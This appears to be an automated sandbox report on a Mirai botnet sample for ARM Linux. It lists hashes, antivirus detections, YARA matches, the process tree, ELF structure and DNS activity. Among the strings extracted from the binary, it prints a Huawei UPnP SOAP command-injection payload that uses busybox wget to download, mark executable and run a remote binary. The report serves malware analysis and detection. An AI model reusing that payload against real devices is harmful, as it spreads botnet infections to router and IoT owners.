Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
cbr.arm7.elf

Overview

General Information

Sample name:cbr.arm7.elf
Analysis ID:1630011
MD5:2161a3694f53ba2c95a18651e6d5d1e2
SHA1:c5093d7d2a8675f47ab8a1118e164220dab23d7d
SHA256:249865c6cf9790db274069649f19576a427191d928a765a9901b09bedf350880
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1630011
Start date and time:2025-03-05 12:17:17 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 17s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:cbr.arm7.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample

Runtime Messages

Command:/tmp/cbr.arm7.elf
PID:5425
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:/lib/ld-uClibc.so.0: No such file or directory

Process Tree

  • system is lnxubuntu20
  • dash New Fork (PID: 5409, Parent: 3590)
  • rm (PID: 5409, Parent: 3590, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.53jn2rcVGS /tmp/tmp.tIdwUd8NVc /tmp/tmp.uu697zS4Jx
  • dash New Fork (PID: 5410, Parent: 3590)
  • rm (PID: 5410, Parent: 3590, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.53jn2rcVGS /tmp/tmp.tIdwUd8NVc /tmp/tmp.uu697zS4Jx
  • cbr.arm7.elf (PID: 5425, Parent: 5344, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/cbr.arm7.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
cbr.arm7.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5425.1.00007f0ff4017000.00007f0ff4023000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      Process Memory Space: cbr.arm7.elf PID: 5425JoeSecurity_Mirai_6Yara detected MiraiJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Multi AV Scanner detection for submitted file
        Source: cbr.arm7.elfVirustotal: Detection: 41%Perma Link
        Source: cbr.arm7.elfReversingLabs: Detection: 50%
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: cbr.arm7.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: cbr.arm7.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
        Source: /usr/bin/dash (PID: 5409)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.53jn2rcVGS /tmp/tmp.tIdwUd8NVc /tmp/tmp.uu697zS4JxJump to behavior
        Source: /usr/bin/dash (PID: 5410)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.53jn2rcVGS /tmp/tmp.tIdwUd8NVc /tmp/tmp.uu697zS4JxJump to behavior
        Source: /tmp/cbr.arm7.elf (PID: 5425)Queries kernel information via 'uname': Jump to behavior
        Source: cbr.arm7.elf, 5425.1.000055ba4d0c6000.000055ba4d1f4000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
        Source: cbr.arm7.elf, 5425.1.00007ffe23b4a000.00007ffe23b6b000.rw-.sdmpBinary or memory string: qemu: %s: %s
        Source: cbr.arm7.elf, 5425.1.00007ffe23b4a000.00007ffe23b6b000.rw-.sdmpBinary or memory string: leqemu: %s: %s
        Source: cbr.arm7.elf, 5425.1.000055ba4d0c6000.000055ba4d1f4000.rw-.sdmpBinary or memory string: Urg.qemu.gdb.arm.sys.regs">
        Source: cbr.arm7.elf, 5425.1.000055ba4d0c6000.000055ba4d1f4000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: cbr.arm7.elf, 5425.1.00007ffe23b4a000.00007ffe23b6b000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: cbr.arm7.elf, 5425.1.00007ffe23b4a000.00007ffe23b6b000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/cbr.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/cbr.arm7.elf
        Source: cbr.arm7.elf, 5425.1.000055ba4d0c6000.000055ba4d1f4000.rw-.sdmpBinary or memory string: rg.qemu.gdb.arm.sys.regs">

        Stealing of Sensitive Information

        barindex
        Yara detected Mirai
        Source: Yara matchFile source: cbr.arm7.elf, type: SAMPLE
        Source: Yara matchFile source: 5425.1.00007f0ff4017000.00007f0ff4023000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: cbr.arm7.elf PID: 5425, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected Mirai
        Source: Yara matchFile source: cbr.arm7.elf, type: SAMPLE
        Source: Yara matchFile source: 5425.1.00007f0ff4017000.00007f0ff4023000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: cbr.arm7.elf PID: 5425, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
        File Deletion        		OS Credential Dumping11
        Security Software Discovery        		Remote ServicesData from Local System1
        Non-Application Layer Protocol        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1630011 Sample: cbr.arm7.elf Startdate: 05/03/2025 Architecture: LINUX Score: 56 10 daisy.ubuntu.com 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 6 dash rm cbr.arm7.elf 2->6         started        8 dash rm 2->8         started        signatures3 process4

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        cbr.arm7.elf41%VirustotalBrowse
        cbr.arm7.elf50%ReversingLabsLinux.Trojan.Mirai

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        		162.213.35.25
        		truefalse
          		high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://schemas.xmlsoap.org/soap/encoding/cbr.arm7.elffalse
            		high
            http://schemas.xmlsoap.org/soap/envelope/cbr.arm7.elffalse
              		high

              World Map of Contacted IPs

              ⊘No contacted IP infos

              Joe Sandbox View / Context

              IPs

              ⊘No context

              Domains

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              daisy.ubuntu.comcbr.arc.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.25
              jew.i586.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              main_arm6.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              cbr.spc.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.25
              cbr.sh4.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              cbr.arm.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              cbr.m68k.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              cbr.x86.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.25
              cbr.arc.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              tftp.elfGet hashmaliciousUnknownBrowse
              • 162.213.35.24

              ASNs

              ⊘No context

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              ⊘No context

              Created / dropped Files

              ⊘No created / dropped files found

              Static File Info

              General

              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
              Entropy (8bit):5.797879495765746
              TrID:
              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
              File name:cbr.arm7.elf
              File size:47'635 bytes
              MD5:2161a3694f53ba2c95a18651e6d5d1e2
              SHA1:c5093d7d2a8675f47ab8a1118e164220dab23d7d
              SHA256:249865c6cf9790db274069649f19576a427191d928a765a9901b09bedf350880
              SHA512:827f6dde4e0319f9d9c39282a0cd299eaddac3d78d5b1b270d6b802b73696743b96aefea57034f6a168e640ced4fe541698f953b2d3030a5a2b6dfa2374c8164
              SSDEEP:768:p6Su2BWmTRVHvl2myDH03NaH+a18K0GssdUpEm7ta6nc2vtaM9o6U1FyJt8R0uPn:p6LwAml3NaH0Em70JlZFyEPPSSSSSSSa
              TLSH:AD233D48EBA9932EC7A1F2FEEF98418F33350B9477FE3D268635010923C87796526524
              File Content Preview:.ELF..............(.........4...D.......4. ...(.........4...4...4........................................................................................................C..........................................Q.td............................/lib/ld-uCl

              Static ELF Info

              ELF header

              Class:ELF32
              Data:2's complement, little endian
              Version:1 (current)
              Machine:ARM
              Version Number:0x1
              Type:EXEC (Executable file)
              OS/ABI:UNIX - System V
              ABI Version:0
              Entry Point Address:0x8ebc
              Flags:0x4000002
              ELF Header Size:52
              Program Header Offset:52
              Program Header Size:32
              Number of Program Headers:6
              Section Header Offset:46660
              Section Header Size:40
              Number of Section Headers:23
              Header String Table Index:22

              Sections

              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
              NULL0x00x00x00x00x0000
              .interpPROGBITS0x80f40xf40x140x00x2A001
              .hashHASH0x81080x1080x22c0x40x2A304
              .dynsymDYNSYM0x83340x3340x4600x100x2A414
              .dynstrSTRTAB0x87940x7940x1f40x00x2A001
              .rel.dynREL0x89880x9880x80x80x2A304
              .rel.pltREL0x89900x9900x1c80x80x2A384
              .initPROGBITS0x8b580xb580x100x00x6AX004
              .pltPROGBITS0x8b680xb680x2c00x40x6AX004
              .textPROGBITS0x8e280xe280x9bdc0x00x6AX004
              .finiPROGBITS0x12a040xaa040x100x00x6AX004
              .rodataPROGBITS0x12a140xaa140x78c0x00x2A004
              .eh_framePROGBITS0x1b1a00xb1a00x40x00x3WA004
              .init_arrayINIT_ARRAY0x1b1a40xb1a40x40x00x3WA004
              .fini_arrayFINI_ARRAY0x1b1a80xb1a80x40x00x3WA004
              .jcrPROGBITS0x1b1ac0xb1ac0x40x00x3WA004
              .dynamicDYNAMIC0x1b1b00xb1b00xd00x80x3WA404
              .gotPROGBITS0x1b2800xb2800xf00x40x3WA004
              .dataPROGBITS0x1b3700xb3700xd80x00x3WA004
              .bssNOBITS0x1b4480xb4480x41240x00x3WA008
              .commentPROGBITS0x00xb4480x1360x00x0001
              .ARM.attributesARM_ATTRIBUTES0x00xb57e0x160x00x0001
              .shstrtabSTRTAB0x00xb5940xae0x00x0001

              Program Segments

              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
              PHDR0x340x80340x80340xc00xc02.26870x5R E0x4
              INTERP0xf40x80f40x80f40x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
              LOAD0x00x80000x80000xb1a00xb1a05.79940x5R E0x8000.interp .hash .dynsym .dynstr .rel.dyn .rel.plt .init .plt .text .fini .rodata
              LOAD0xb1a00x1b1a00x1b1a00x2a80x43cc3.28020x6RW 0x8000.eh_frame .init_array .fini_array .jcr .dynamic .got .data .bss
              DYNAMIC0xb1b00x1b1b00x1b1b00xd00xd02.16780x6RW 0x4.dynamic
              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

              Dynamic Tags

              TypeMetaValueTag
              DT_NEEDEDsharedliblibc.so.00x1
              DT_INITvalue0x8b580xc
              DT_FINIvalue0x12a040xd
              DT_INIT_ARRAYvalue0x1b1a40x19
              DT_INIT_ARRAYSZbytes40x1b
              DT_FINI_ARRAYvalue0x1b1a80x1a
              DT_FINI_ARRAYSZbytes40x1c
              DT_HASHvalue0x81080x4
              DT_STRTABvalue0x87940x5
              DT_SYMTABvalue0x83340x6
              DT_STRSZbytes5000xa
              DT_SYMENTbytes160xb
              DT_DEBUGvalue0x00x15
              DT_PLTGOTvalue0x1b2800x3
              DT_PLTRELSZbytes4560x2
              DT_PLTRELpltrelDT_REL0x14
              DT_JMPRELvalue0x89900x17
              DT_RELvalue0x89880x11
              DT_RELSZbytes80x12
              DT_RELENTbytes80x13
              DT_NULLvalue0x00x0

              Symbols

              NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
              .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              __bss_end__.dynsym0x1f56c0NOTYPE<unknown>DEFAULTSHN_ABS
              __bss_start.dynsym0x1b4480NOTYPE<unknown>DEFAULTSHN_ABS
              __bss_start__.dynsym0x1b4480NOTYPE<unknown>DEFAULTSHN_ABS
              __ctype_b.dynsym0x1b4484OBJECT<unknown>DEFAULT19
              __data_start.dynsym0x1b3700NOTYPE<unknown>DEFAULT18
              __end__.dynsym0x1f56c0NOTYPE<unknown>DEFAULTSHN_ABS
              __errno_location.dynsym0x8d8032FUNC<unknown>DEFAULTSHN_UNDEF
              __exidx_end.dynsym0x131a00NOTYPE<unknown>DEFAULTSHN_ABS
              __exidx_start.dynsym0x131a00NOTYPE<unknown>DEFAULTSHN_ABS
              __uClibc_main.dynsym0x8d08848FUNC<unknown>DEFAULTSHN_UNDEF
              _bss_end__.dynsym0x1f56c0NOTYPE<unknown>DEFAULTSHN_ABS
              _edata.dynsym0x1b4480NOTYPE<unknown>DEFAULTSHN_ABS
              _end.dynsym0x1f56c0NOTYPE<unknown>DEFAULTSHN_ABS
              _exit.dynsym0x8da4104FUNC<unknown>DEFAULTSHN_UNDEF
              _start.dynsym0x8ebc80FUNC<unknown>DEFAULT9
              abort.dynsym0x8c48296FUNC<unknown>DEFAULTSHN_UNDEF
              atoi.dynsym0x8d9832FUNC<unknown>DEFAULTSHN_UNDEF
              calloc.dynsym0x8c54320FUNC<unknown>DEFAULTSHN_UNDEF
              chdir.dynsym0x8c9056FUNC<unknown>DEFAULTSHN_UNDEF
              clock.dynsym0x8dc852FUNC<unknown>DEFAULTSHN_UNDEF
              close.dynsym0x8df8100FUNC<unknown>DEFAULTSHN_UNDEF
              closedir.dynsym0x8de0272FUNC<unknown>DEFAULTSHN_UNDEF
              connect.dynsym0x8ba0116FUNC<unknown>DEFAULTSHN_UNDEF
              exit.dynsym0x8d8c196FUNC<unknown>DEFAULTSHN_UNDEF
              fcntl.dynsym0x8dec244FUNC<unknown>DEFAULTSHN_UNDEF
              fork.dynsym0x8cfc972FUNC<unknown>DEFAULTSHN_UNDEF
              free.dynsym0x8e10572FUNC<unknown>DEFAULTSHN_UNDEF
              getpid.dynsym0x8bc472FUNC<unknown>DEFAULTSHN_UNDEF
              getppid.dynsym0x8d3820FUNC<unknown>DEFAULTSHN_UNDEF
              getsockname.dynsym0x8e1c68FUNC<unknown>DEFAULTSHN_UNDEF
              getsockopt.dynsym0x8d6872FUNC<unknown>DEFAULTSHN_UNDEF
              htonl.dynsym0x8ccc32FUNC<unknown>DEFAULTSHN_UNDEF
              htons.dynsym0x8d7416FUNC<unknown>DEFAULTSHN_UNDEF
              inet_addr.dynsym0x8c7840FUNC<unknown>DEFAULTSHN_UNDEF
              ioctl.dynsym0x8b88224FUNC<unknown>DEFAULTSHN_UNDEF
              kill.dynsym0x8c6c56FUNC<unknown>DEFAULTSHN_UNDEF
              malloc.dynsym0x8bf42360FUNC<unknown>DEFAULTSHN_UNDEF
              memcpy.dynsym0x8bdc4FUNC<unknown>DEFAULTSHN_UNDEF
              memmove.dynsym0x8bac4FUNC<unknown>DEFAULTSHN_UNDEF
              memset.dynsym0x8d14156FUNC<unknown>DEFAULTSHN_UNDEF
              ntohl.dynsym0x8c8432FUNC<unknown>DEFAULTSHN_UNDEF
              ntohs.dynsym0x8d2c16FUNC<unknown>DEFAULTSHN_UNDEF
              open.dynsym0x8dbc100FUNC<unknown>DEFAULTSHN_UNDEF
              opendir.dynsym0x8d50196FUNC<unknown>DEFAULTSHN_UNDEF
              prctl.dynsym0x8bd068FUNC<unknown>DEFAULTSHN_UNDEF
              puts.dynsym0x8be8340FUNC<unknown>DEFAULTSHN_UNDEF
              raise.dynsym0x8e04240FUNC<unknown>DEFAULTSHN_UNDEF
              rand.dynsym0x8cb424FUNC<unknown>DEFAULTSHN_UNDEF
              read.dynsym0x8cc0100FUNC<unknown>DEFAULTSHN_UNDEF
              readdir.dynsym0x8c30232FUNC<unknown>DEFAULTSHN_UNDEF
              realloc.dynsym0x8ce4960FUNC<unknown>DEFAULTSHN_UNDEF
              recv.dynsym0x8b94112FUNC<unknown>DEFAULTSHN_UNDEF
              recvfrom.dynsym0x8c0c136FUNC<unknown>DEFAULTSHN_UNDEF
              select.dynsym0x8c24132FUNC<unknown>DEFAULTSHN_UNDEF
              send.dynsym0x8c3c112FUNC<unknown>DEFAULTSHN_UNDEF
              sendto.dynsym0x8cd8136FUNC<unknown>DEFAULTSHN_UNDEF
              setsid.dynsym0x8dd464FUNC<unknown>DEFAULTSHN_UNDEF
              setsockopt.dynsym0x8c9c72FUNC<unknown>DEFAULTSHN_UNDEF
              sleep.dynsym0x8c00272FUNC<unknown>DEFAULTSHN_UNDEF
              socket.dynsym0x8c1868FUNC<unknown>DEFAULTSHN_UNDEF
              sprintf.dynsym0x8d5c52FUNC<unknown>DEFAULTSHN_UNDEF
              srand.dynsym0x8d20164FUNC<unknown>DEFAULTSHN_UNDEF
              strcpy.dynsym0x8b7c36FUNC<unknown>DEFAULTSHN_UNDEF
              strlen.dynsym0x8db096FUNC<unknown>DEFAULTSHN_UNDEF
              strstr.dynsym0x8ca8252FUNC<unknown>DEFAULTSHN_UNDEF
              strtok.dynsym0x8cf048FUNC<unknown>DEFAULTSHN_UNDEF
              time.dynsym0x8d4448FUNC<unknown>DEFAULTSHN_UNDEF
              usleep.dynsym0x8bb880FUNC<unknown>DEFAULTSHN_UNDEF
              write.dynsym0x8c60100FUNC<unknown>DEFAULTSHN_UNDEF

              Network Behavior

              Network Port Distribution

              UDP Packets

              TimestampSource PortDest PortSource IPDest IP
              Mar 5, 2025 12:20:43.381683111 CET6074753192.168.2.131.1.1.1
              Mar 5, 2025 12:20:43.381763935 CET5123653192.168.2.131.1.1.1
              Mar 5, 2025 12:20:43.389177084 CET53607471.1.1.1192.168.2.13
              Mar 5, 2025 12:20:43.389420986 CET53512361.1.1.1192.168.2.13

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Mar 5, 2025 12:20:43.381683111 CET192.168.2.131.1.1.10x30b3Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
              Mar 5, 2025 12:20:43.381763935 CET192.168.2.131.1.1.10xf52cStandard query (0)daisy.ubuntu.com28IN (0x0001)false

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Mar 5, 2025 12:20:43.389177084 CET1.1.1.1192.168.2.130x30b3No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
              Mar 5, 2025 12:20:43.389177084 CET1.1.1.1192.168.2.130x30b3No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

              System Behavior

              General

              Start time (UTC):11:17:47
              Start date (UTC):05/03/2025
              Path:/usr/bin/dash
              Arguments:-
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              Chronological Activities


              General

              Start time (UTC):11:17:47
              Start date (UTC):05/03/2025
              Path:/usr/bin/rm
              Arguments:rm -f /tmp/tmp.53jn2rcVGS /tmp/tmp.tIdwUd8NVc /tmp/tmp.uu697zS4Jx
              File size:72056 bytes
              MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

              Chronological Activities


              General

              Start time (UTC):11:17:47
              Start date (UTC):05/03/2025
              Path:/usr/bin/dash
              Arguments:-
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              Chronological Activities


              General

              Start time (UTC):11:17:47
              Start date (UTC):05/03/2025
              Path:/usr/bin/rm
              Arguments:rm -f /tmp/tmp.53jn2rcVGS /tmp/tmp.tIdwUd8NVc /tmp/tmp.uu697zS4Jx
              File size:72056 bytes
              MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

              Chronological Activities


              General

              Start time (UTC):11:17:58
              Start date (UTC):05/03/2025
              Path:/tmp/cbr.arm7.elf
              Arguments:/tmp/cbr.arm7.elf
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              Chronological Activities